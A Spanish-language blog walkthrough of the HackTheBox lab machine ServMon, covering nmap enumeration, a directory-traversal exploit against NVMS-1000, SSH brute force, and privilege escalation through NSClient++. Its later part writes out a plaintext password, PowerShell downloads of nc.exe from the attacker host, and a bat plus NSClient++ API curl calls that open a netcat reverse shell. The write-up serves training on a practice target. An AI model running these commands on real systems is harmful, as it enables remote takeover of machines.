Buenas!
Continuamos con los writeups de máquinas de HacktheBox. En esta ocasión es el turno de ServMon, que fue retirada recientemente. Una máquina bastante curiosa, sí, esa es la palabra.
El write-up se divide en tres fases:
- Enumeración
- Explotación
- Escalada de privilegios
Enumeración
En primer lugar, para identificar los servicios y puertos abiertos se ejecuta la herramienta nmap:
Nmap scan report for 10.10.10.184
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20 12:05PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
| 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_ 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp open http
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN» ««>http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»>
| <html xmlns=»«>http://www.w3.org/1999/xhtml»>
| <head>
| <title></title>
| <script type=»text/javascript»>
| window.location.href = «Pages/login.htm»;
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6699/tcp open napster?
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
|_ «:{«context»:»ini://${shared-path}/nsclient.ini»,»has_changed»:false,»type»:»ini»}}]}
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-01-14T13:24:20
| Not valid after: 2021-01-13T13:24:20
| MD5: 1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4
|_SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334
|_ssl-date: TLS randomness does not represent time
En el servicio web se identifica el portal del dispositivo NVMS-1000:
Mientra en el puerto 8443, el cliente de un programa llamado NSClient++:
A continuación, se pasa a enumerar el FTP que según nmap tiene el acceso anomyous habilitado:
Se detectan dos carpetas de posibles usuarios: Nathan y Nadine (esto me recordó a la saga Uncharted 😉 ) y un fichero confidencial. Entrando en el fichero se encuentra una lista al estilo «TO DO»:
Según esta lista, Nadine ha cambiado las credenciales (se deduce las de por defecto de NVMS) y ha dejado las contraseñas en el escritorio de Nathan
Con esta información, se busca en Google posibles vulnerabilidades que pueda alojar el dispositivo para permitir un Directory Transversal para leer las passwords que están en el escritorio de Nathan. De esta manera, se encuentra el siguiente exploit (PoC y exploit):
https://www.exploit-db.com/exploits/48311
https://www.exploit-db.com/exploits/47774
Se baja la tool y probándola, efectivamente es vulnerable:
Tras encontrar el vector de compromiso, comienza la fase de explotación.
Explotación
Se logra obtener el fichero con las passwords:
Entonces, al ser varias se procede a hacer fuerza bruta en el login de la web tanto para los 2 usuarios identificados como para el usuario por defecto admin.
Sin éxito. La autenticación está basada en una autenticación basic, por lo que hay que enviar las credenciales codificadas en base64. Os dejo este enlace como referencia de apoyo para configurar el intruder del burp:
https://securityonline.info/use-burp-suite-brute-force-http-basic-authentication/
Seguidamente, se prueba fuerza bruta contra el otro acceso disponible: SSH. Para ello, se hace uso de la tool hydra:
En esta ocasión sí se logran encontrar credenciales válidas!!!
Se accede mediante SSH y se logra obtiene acceso remoto:
Y se toma la flag de user:
Finalizaría la fase de explotación y se entra en la fase de escalada de privilegios.
Escalada de privilegios
Empleando tools de enumeración como PowerUp más el análisis de programas instalados, se identifica que la máquina cuenta con el programa NSclient++ (el que se vio en el 8443 externamente).
Buscando información sobre vulnerabilidades o fallos de navegación, se descubre la password en texto plano en el fichero nsclient.ini:
Idem se puede obtener con el siguiente comando nscp web password –display:
La versión instalada tiene una vulnerabilidad que permite la escalada de privilegios:
https://www.exploit-db.com/exploits/46802
Todo hace indicar que por aquí van los tiros 😉
Sin embargo, el programa sólo es accesible localmente. Desde fuera está bloqueado el acceso a través del cliente web que corre en el puerto 8443. Pero no pasa nada, se hace un túnel SSH para llegar ahí.
ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184
He de reconocer que pensé que sería sencillo, pero me dio mil problemas el navegador para acceder. Sólo lograba que cargará la web con el Chrome (el cual no tengo instalada en la kali) y tuve que tirar con Windows xd. Para hacer el túnel, se hace uso de plink:
plink.exe -L 8443:127.0.0.1:8443 -P 22 -pw L1k3B1gBut7s@W0rk nadine@10.10.10.184
La codificación del cmd es tremenda también lol
Para poder realizar la autenticación se tuvo que hacer la ñapa de construir la petición GET:
Y por fin de esta manera, se logra acceder a la parte post-autenticada:
En este punto el acceso remoto se basa en seguir las instrucciones del exploit. Es necesario transferir un nc.exe y un bat que llamé al mismo. Según si se desea obtener un shell reversa o bien leer la flag, sería:
echo @echo off > n4x.bat
echo C:\Temp\nc.exe 10.10.14.57 -e cmd.exe >> n4x.bat
echo more C:\Users\Administrator\Desktop\root.txt >> n4x.bat
Para transferir los ficheros se hace uso de powershell. A continuación, se deja un ejemplo:
powershell invoke-webrequest -uri http://10.10.14.57:9090/n4x.bat -OutFile C:\Temp\n4x.bat
powershell invoke-webrequest -uri http://10.10.14.57:1234/nc.exe -OutFile C:\Temp\nc.exe
Y crear un script externo que llamé a ese bat:
Una vez creado hay que guardar los cambios en el botón de la parte superior derecha «Changes» y posteriormente ya debería ser accesible para ser ejecutada.
Jamás me apareció y al recargar la web se me moría…cosas muuuuuy raras que dejan a uno muy rallado.
Sin embargo, me tocó el orgullo y busqué info en la web del producto con el objetivo de encontrar algo de ayuda.
Afortunadamente descubrí que este servicio tiene una API y bastante bien documentada:
https://docs.nsclient.org/api/
Lo que permite su comunicación localmente. Por lo tanto, se vuelve a la kali y con el acceso SSH se ejecutan los siguientes comandos:
curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/n4x.bat –data-binary «C:\Temp\nc.exe 10.10.14.57 443 -e cmd.exe»
nscp settings –list
curl -s -k -u admin https://localhost:8443/api/v1/queries/n4x/commands/execute?tme=1m.
Lo que se está haciendo es crear/subir un script que llame al fichero «n4x.bat» el cual tiene como contenido la ejecución del nc.exe que se transfirió anteriormente para lograr una shell reversa. Finalmente, se indica que se ejecute el script en un minuto. Para poder ejecutar estos comandos hay que autenticarse con la password que se detectó en la configuración.
Previamente, se levanta un listener al cual llega la sesión:
Y se logra acceso como Administrator, tomando la ansiada flag.
Está máquina me tocó bastante la narices con el acceso mediante el navegador, pero también me ánimo a buscar info y llegar a descubrir que tenía una API muy bien documentada que me permitió optar a una solución alternativa.
Nos vemos en la próxima entrada!
N4xh4ck5
La mejor defensa, es un buen ataque